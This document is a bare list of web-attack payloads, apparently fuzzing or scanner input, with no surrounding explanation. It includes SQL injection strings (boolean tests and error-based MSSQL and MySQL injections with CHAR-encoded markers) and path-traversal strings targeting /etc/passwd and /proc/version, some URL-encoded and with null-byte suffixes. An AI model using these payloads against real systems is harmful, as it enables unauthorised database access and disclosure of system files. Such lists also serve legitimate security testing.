20
-1" OR 3+588-588-1=0+0+0+1 --
../../../../../../../../../../etc/passwd%00.jpg
"+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(109)+CHAR(86)+CHAR(81)+CHAR(48)+CHAR(83)+CHAR(89)+CHAR(75)+CHAR(122))+"
-1" OR 2+588-588-1=0+0+0+1 --
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
"+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(109)+CHAR(86)+CHAR(81)+CHAR(48)+CHAR(83)+CHAR(89)+CHAR(75)+CHAR(122)) FROM syscolumns)+"
1
../../../../../../../../../../../../../../../proc/version
"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(109),CHAR(86),CHAR(81),CHAR(48),CHAR(83),CHAR(89),CHAR(75),CHAR(122)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"